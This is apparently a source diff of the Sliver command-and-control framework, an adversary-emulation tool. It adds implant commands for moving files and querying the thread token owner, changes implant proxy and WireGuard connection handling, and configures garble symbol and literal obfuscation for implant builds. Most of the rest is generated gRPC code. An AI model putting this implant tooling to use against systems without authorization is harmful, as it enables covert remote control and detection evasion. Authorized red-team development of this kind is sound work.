||||
break
|
||||
}
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
type Jar struct {
|
||||
lk sync.Mutex
|
||||
cookies []*http.Cookie
|
||||
}
|
||||
|
||||
func cookieJar() *Jar {
|
||||
return &Jar{
|
||||
lk: sync.Mutex{},
|
||||
cookies: []*http.Cookie{},
|
||||
}
|
||||
}
|
||||
|
||||
// NewJar - Get a new instance of a cookie jar
|
||||
func NewJar() *Jar {
|
||||
jar := new(Jar)
|
||||
jar.cookies = make([]*http.Cookie, 0)
|
||||
return jar
|
||||
}
|
||||
|
||||
// SetCookies handles the receipt of the cookies in a reply for the
|
||||
// given URL (which is ignored).
|
||||
func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
|
||||
jar.lk.Lock()
|
||||
jar.cookies = append(jar.cookies, cookies...)
|
||||
jar.lk.Unlock()
|
||||
}
|
||||
|
||||
// Cookies returns the cookies to send in a request for the given URL.
|
||||
// It is up to the implementation to honor the standard cookie use
|
||||
// restrictions such as in RFC 6265 (which we do not).
|
||||
func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
|
||||
return jar.cookies
|
||||
}
|
||||
|
||||
// {{end}} -HTTPc2Enabled
|
||||
@@ -200,7 +200,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
|
||||
// *** WG ***
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
connection, err = wgConnect(uri)
|
||||
if err == nil {
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[wg] Connection failed %s", err)
|
||||
// {{end}}
|
||||
|
||||
@@ -29,6 +29,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -215,8 +216,8 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
// then creates a Wireguard device/interface and applies configuration
|
||||
func bringUpWGInterface(address string, port uint16, implantPrivKey string, serverPubKey string, netstackTunIP string) (tun.Device, *device.Device, *netstack.Net, error) {
|
||||
tun, tNet, err := netstack.CreateNetTUN(
|
||||
[]net.IP{net.ParseIP(netstackTunIP)},
|
||||
[]net.IP{net.ParseIP("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
|
||||
[]netip.Addr{netip.MustParseAddr(netstackTunIP)},
|
||||
[]netip.Addr{netip.MustParseAddr("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
|
||||
1420)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.19.4
|
||||
// protoc v3.20.0
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.19.4
|
||||
// protoc v3.20.0
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.19.4
|
||||
// protoc v3.20.0
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
+559
-544
File diff suppressed because it is too large.
Load diff
@@ -95,6 +95,7 @@ service SliverRPC {
|
||||
rpc Ls(sliverpb.LsReq) returns (sliverpb.Ls);
|
||||
rpc Cd(sliverpb.CdReq) returns (sliverpb.Pwd);
|
||||
rpc Pwd(sliverpb.PwdReq) returns (sliverpb.Pwd);
|
||||
rpc Mv(sliverpb.MvReq) returns (sliverpb.Mv);
|
||||
rpc Rm(sliverpb.RmReq) returns (sliverpb.Rm);
|
||||
rpc Mkdir(sliverpb.MkdirReq) returns (sliverpb.Mkdir);
|
||||
rpc Download(sliverpb.DownloadReq) returns (sliverpb.Download);
|
||||
@@ -114,6 +115,7 @@ service SliverRPC {
|
||||
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
|
||||
rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
|
||||
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
|
||||
rpc CurrentTokenOwner(sliverpb.CurrentTokenOwnerReq) returns (sliverpb.CurrentTokenOwner);
|
||||
|
||||
// *** Pivots ***
|
||||
rpc PivotStartListener(sliverpb.PivotStartListenerReq) returns (sliverpb.PivotListener);
|
||||
|
||||
@@ -94,6 +94,7 @@ type SliverRPCClient interface {
|
||||
Ls(ctx context.Context, in *sliverpb.LsReq, opts ...grpc.CallOption) (*sliverpb.Ls, error)
|
||||
Cd(ctx context.Context, in *sliverpb.CdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error)
|
||||
Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error)
|
||||
Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error)
|
||||
Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error)
|
||||
Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts ...grpc.CallOption) (*sliverpb.Mkdir, error)
|
||||
Download(ctx context.Context, in *sliverpb.DownloadReq, opts ...grpc.CallOption) (*sliverpb.Download, error)
|
||||
@@ -113,6 +114,7 @@ type SliverRPCClient interface {
|
||||
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
|
||||
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
|
||||
CurrentTokenOwner(ctx context.Context, in *sliverpb.CurrentTokenOwnerReq, opts ...grpc.CallOption) (*sliverpb.CurrentTokenOwner, error)
|
||||
// *** Pivots ***
|
||||
PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error)
|
||||
PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
@@ -703,6 +705,15 @@ func (c *sliverRPCClient) Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error) {
|
||||
out := new(sliverpb.Mv)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mv", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error) {
|
||||
out := new(sliverpb.Rm)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rm", in, out, opts...)
|
||||
@@ -874,6 +885,15 @@ func (c *sliverRPCClient) Screenshot(ctx context.Context, in *sliverpb.Screensho
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) CurrentTokenOwner(ctx context.Context, in *sliverpb.CurrentTokenOwnerReq, opts ...grpc.CallOption) (*sliverpb.CurrentTokenOwner, error) {
|
||||
out := new(sliverpb.CurrentTokenOwner)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CurrentTokenOwner", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error) {
|
||||
out := new(sliverpb.PivotListener)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStartListener", in, out, opts...)
|
||||
@@ -1387,6 +1407,7 @@ type SliverRPCServer interface {
|
||||
Ls(context.Context, *sliverpb.LsReq) (*sliverpb.Ls, error)
|
||||
Cd(context.Context, *sliverpb.CdReq) (*sliverpb.Pwd, error)
|
||||
Pwd(context.Context, *sliverpb.PwdReq) (*sliverpb.Pwd, error)
|
||||
Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error)
|
||||
Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error)
|
||||
Mkdir(context.Context, *sliverpb.MkdirReq) (*sliverpb.Mkdir, error)
|
||||
Download(context.Context, *sliverpb.DownloadReq) (*sliverpb.Download, error)
|
||||
@@ -1406,6 +1427,7 @@ type SliverRPCServer interface {
|
||||
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
|
||||
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
|
||||
CurrentTokenOwner(context.Context, *sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error)
|
||||
// *** Pivots ***
|
||||
PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error)
|
||||
PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error)
|
||||
@@ -1639,6 +1661,9 @@ func (UnimplementedSliverRPCServer) Cd(context.Context, *sliverpb.CdReq) (*slive
|
||||
func (UnimplementedSliverRPCServer) Pwd(context.Context, *sliverpb.PwdReq) (*sliverpb.Pwd, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Pwd not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Mv not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Rm not implemented")
|
||||
}
|
||||
@@ -1696,6 +1721,9 @@ func (UnimplementedSliverRPCServer) SpawnDll(context.Context, *sliverpb.InvokeSp
|
||||
func (UnimplementedSliverRPCServer) Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Screenshot not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) CurrentTokenOwner(context.Context, *sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method CurrentTokenOwner not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method PivotStartListener not implemented")
|
||||
}
|
||||
@@ -2894,6 +2922,24 @@ func _SliverRPC_Pwd_Handler(srv interface{}, ctx context.Context, dec func(inter
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Mv_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.MvReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Mv(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Mv",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Mv(ctx, req.(*sliverpb.MvReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Rm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RmReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -3236,6 +3282,24 @@ func _SliverRPC_Screenshot_Handler(srv interface{}, ctx context.Context, dec fun
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_CurrentTokenOwner_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.CurrentTokenOwnerReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).CurrentTokenOwner(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/CurrentTokenOwner",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).CurrentTokenOwner(ctx, req.(*sliverpb.CurrentTokenOwnerReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_PivotStartListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.PivotStartListenerReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -4236,6 +4300,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "Pwd",
|
||||
Handler: _SliverRPC_Pwd_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Mv",
|
||||
Handler: _SliverRPC_Mv_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Rm",
|
||||
Handler: _SliverRPC_Rm_Handler,
|
||||
@@ -4312,6 +4380,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "Screenshot",
|
||||
Handler: _SliverRPC_Screenshot_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "CurrentTokenOwner",
|
||||
Handler: _SliverRPC_CurrentTokenOwner_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "PivotStartListener",
|
||||
Handler: _SliverRPC_PivotStartListener_Handler,
|
||||
|
||||
@@ -274,6 +274,16 @@ const (
|
||||
|
||||
// MsgRegistryDeleteKeyReq
|
||||
MsgRegistryDeleteKeyReq
|
||||
|
||||
// MsgMvReq - Request to move or rename a file
|
||||
MsgMvReq
|
||||
// MsgMv - Confirms the success/failure of the mv request (resp to MsgMvReq)
|
||||
MsgMv
|
||||
|
||||
// MsgCurrentTokenOwnerReq - Request to query the thread token owner
|
||||
MsgCurrentTokenOwnerReq
|
||||
// MsgCurrentTokenOwner - Replies with the current thread owner (resp to MsfCurrentToken)
|
||||
MsgCurrentTokenOwner
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -478,6 +488,15 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
case *CloseSession:
|
||||
return MsgCloseSession
|
||||
|
||||
case *MvReq:
|
||||
return MsgMvReq
|
||||
case *Mv:
|
||||
return MsgMv
|
||||
|
||||
case *CurrentTokenOwnerReq:
|
||||
return MsgCurrentTokenOwnerReq
|
||||
case *CurrentTokenOwner:
|
||||
return MsgCurrentTokenOwner
|
||||
}
|
||||
|
||||
return uint32(0)
|
||||
|
||||
+1838
-1532
File diff suppressed because it is too large.
Load diff
@@ -201,6 +201,20 @@ message Rm {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message MvReq {
|
||||
string Src = 1;
|
||||
string Dst = 2;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Mv {
|
||||
string Src = 1;
|
||||
string Dst = 2;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message MkdirReq {
|
||||
string Path = 1;
|
||||
|
||||
@@ -291,6 +305,16 @@ message RevToSelf {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message CurrentTokenOwnerReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message CurrentTokenOwner {
|
||||
string Output = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// InvokeGetSystemReq - Implant-side version of GetSystemReq, this message
|
||||
// contains the .Data based on the client's req.Config
|
||||
message InvokeGetSystemReq {
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/netip"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
@@ -50,8 +51,8 @@ func StartWGListener(port uint16, netstackPort uint16, keyExchangeListenPort uin
|
||||
wgLog.Infof("Starting Wireguard listener on port: %d", port)
|
||||
|
||||
tun, tNet, err := netstack.CreateNetTUN(
|
||||
[]net.IP{net.ParseIP(tunIP)},
|
||||
[]net.IP{net.ParseIP("127.0.0.1")}, // We don't use DNS in the WG listener. Yet.
|
||||
[]netip.Addr{netip.MustParseAddr(tunIP)},
|
||||
[]netip.Addr{netip.MustParseAddr("127.0.0.1")}, // We don't use DNS in the WG listener. Yet.
|
||||
1420,
|
||||
)
|
||||
if err != nil {
|
||||
|
||||
@@ -145,10 +145,17 @@ func (s *Session) Request(msgType uint32, timeout time.Duration, data []byte) ([
|
||||
// close(resp)
|
||||
delete(s.Connection.Resp, reqID)
|
||||
}()
|
||||
s.Connection.Send <- &sliverpb.Envelope{
|
||||
if timeout == 0 {
|
||||
timeout = 60 * time.Second
|
||||
}
|
||||
select {
|
||||
case s.Connection.Send <- &sliverpb.Envelope{
|
||||
ID: reqID,
|
||||
Type: msgType,
|
||||
Data: data,
|
||||
}:
|
||||
case <-time.After(timeout):
|
||||
return nil, ErrImplantTimeout
|
||||
}
|
||||
|
||||
var respEnvelope *sliverpb.Envelope
|
||||
|
||||
@@ -266,9 +266,10 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOPRIVATE: goPrivate(config),
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
if err != nil {
|
||||
@@ -338,9 +339,10 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOPRIVATE: goPrivate(config),
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
if err != nil {
|
||||
@@ -398,9 +400,10 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
|
||||
GOCACHE: gogo.GetGoCache(appDir),
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOPRIVATE: goPrivate(config),
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
@@ -644,7 +647,7 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
return "", err
|
||||
}
|
||||
buildLog.Debugf("Created %s", goModPath)
|
||||
output, err := gogo.GoMod((*goConfig), sliverPkgDir, []string{"tidy"})
|
||||
output, err := gogo.GoMod((*goConfig), sliverPkgDir, []string{"tidy", "-compat=1.17"})
|
||||
if err != nil {
|
||||
buildLog.Errorf("Go mod tidy failed:\n%s", output)
|
||||
return "", err
|
||||
@@ -859,6 +862,16 @@ func getGoProxy() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func getGoHttpProxy() string {
|
||||
value, present := os.LookupEnv("HTTP_PROXY")
|
||||
if present {
|
||||
buildLog.Debugf("Using HTTP_PROXY from env: %s", value)
|
||||
return value
|
||||
}
|
||||
buildLog.Debugf("No HTTP_PROXY found")
|
||||
return ""
|
||||
}
|
||||
|
||||
const (
|
||||
// GoPrivate - The default Go private arg to garble when obfuscation is enabled.
|
||||
// Wireguard dependencies prevent the use of wildcard github.com/* and golang.org/*.
|
||||
|
||||
+11
-16
@@ -20,8 +20,6 @@ package gogo
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -57,9 +55,10 @@ type GoConfig struct {
|
||||
CGO string
|
||||
CC string
|
||||
CXX string
|
||||
HTTPPROXY string
|
||||
|
||||
Obfuscation bool
|
||||
GOPRIVATE string
|
||||
GOGARBLE string
|
||||
}
|
||||
|
||||
// GetGoRootDir - Get the path to GOROOT
|
||||
@@ -82,24 +81,18 @@ func GetGoModCache(appDir string) string {
|
||||
}
|
||||
|
||||
// The Gb limit here is somewhat arbitrary but is based on my own testing
|
||||
func garbleMaxLiteralSize() []string {
|
||||
func garbleMaxLiteralSize() string {
|
||||
vmStat, err := mem.VirtualMemory()
|
||||
if err != nil {
|
||||
gogoLog.Errorf("Failed to detect amount of system memory: %s", err)
|
||||
return []string{"-literals-max-size", fmt.Sprintf("%d", 1*kb)} // Use default
|
||||
return fmt.Sprintf("%d", 1*kb) // Use default
|
||||
}
|
||||
if 10*gb < vmStat.Total {
|
||||
gogoLog.Infof("More than 10Gb of system memory, enable large literal obfuscation")
|
||||
return []string{"-literals-max-size", fmt.Sprintf("%d", 64*kb)}
|
||||
return fmt.Sprintf("%d", 64*kb)
|
||||
}
|
||||
gogoLog.Infof("Low system memory, disable large literal obfuscation")
|
||||
return []string{"-literals-max-size", fmt.Sprintf("%d", 2*kb)}
|
||||
}
|
||||
|
||||
func seed() string {
|
||||
seed := make([]byte, 32)
|
||||
rand.Read(seed)
|
||||
return hex.EncodeToString(seed)
|
||||
return fmt.Sprintf("%d", 2*kb)
|
||||
}
|
||||
|
||||
// GarbleCmd - Execute a go command
|
||||
@@ -109,8 +102,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
return nil, fmt.Errorf(fmt.Sprintf("Invalid compiler target: %s", target))
|
||||
}
|
||||
garbleBinPath := filepath.Join(config.GOROOT, "bin", "garble")
|
||||
garbleFlags := []string{fmt.Sprintf("-seed=%s", seed()), "-literals"}
|
||||
garbleFlags = append(garbleFlags, garbleMaxLiteralSize()...)
|
||||
garbleFlags := []string{"-seed=random", "-literals"}
|
||||
command = append(garbleFlags, command...)
|
||||
cmd := exec.Command(garbleBinPath, command...)
|
||||
cmd.Dir = cwd
|
||||
@@ -122,9 +114,11 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOPATH=%s", config.ProjectDir),
|
||||
fmt.Sprintf("GOCACHE=%s", config.GOCACHE),
|
||||
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
|
||||
fmt.Sprintf("GOPRIVATE=%s", config.GOPRIVATE),
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("GARBLE_MAX_LITERAL_SIZE=%s", garbleMaxLiteralSize()),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
@@ -160,6 +154,7 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOCACHE=%s", config.GOCACHE),
|
||||
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
|
||||
+347
-100
@@ -1,7 +1,6 @@
|
||||
/* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
|
||||
* https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
|
||||
*/
|
||||
|
||||
package netstack
|
||||
@@ -14,7 +13,9 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -22,15 +23,17 @@ import (
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
|
||||
"golang.org/x/net/dns/dnsmessage"
|
||||
"inet.af/netstack/tcpip"
|
||||
"inet.af/netstack/tcpip/adapters/gonet"
|
||||
"inet.af/netstack/tcpip/buffer"
|
||||
"inet.af/netstack/tcpip/header"
|
||||
"inet.af/netstack/tcpip/network/ipv4"
|
||||
"inet.af/netstack/tcpip/network/ipv6"
|
||||
"inet.af/netstack/tcpip/stack"
|
||||
"inet.af/netstack/tcpip/transport/tcp"
|
||||
"inet.af/netstack/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/buffer"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/header"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/stack"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/waiter"
|
||||
)
|
||||
|
||||
type netTun struct {
|
||||
@@ -39,11 +42,14 @@ type netTun struct {
|
||||
events chan tun.Event
|
||||
incomingPacket chan buffer.VectorisedView
|
||||
mtu int
|
||||
dnsServers []net.IP
|
||||
dnsServers []netip.Addr
|
||||
hasV4, hasV6 bool
|
||||
}
|
||||
type endpoint netTun
|
||||
type Net netTun
|
||||
|
||||
type (
|
||||
endpoint netTun
|
||||
Net netTun
|
||||
)
|
||||
|
||||
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
|
||||
e.dispatcher = dispatcher
|
||||
@@ -75,12 +81,16 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
|
||||
|
||||
func (*endpoint) Wait() {}
|
||||
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
@@ -91,10 +101,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
|
||||
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
|
||||
}
|
||||
|
||||
func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
|
||||
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
|
||||
opts := stack.Options{
|
||||
NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
|
||||
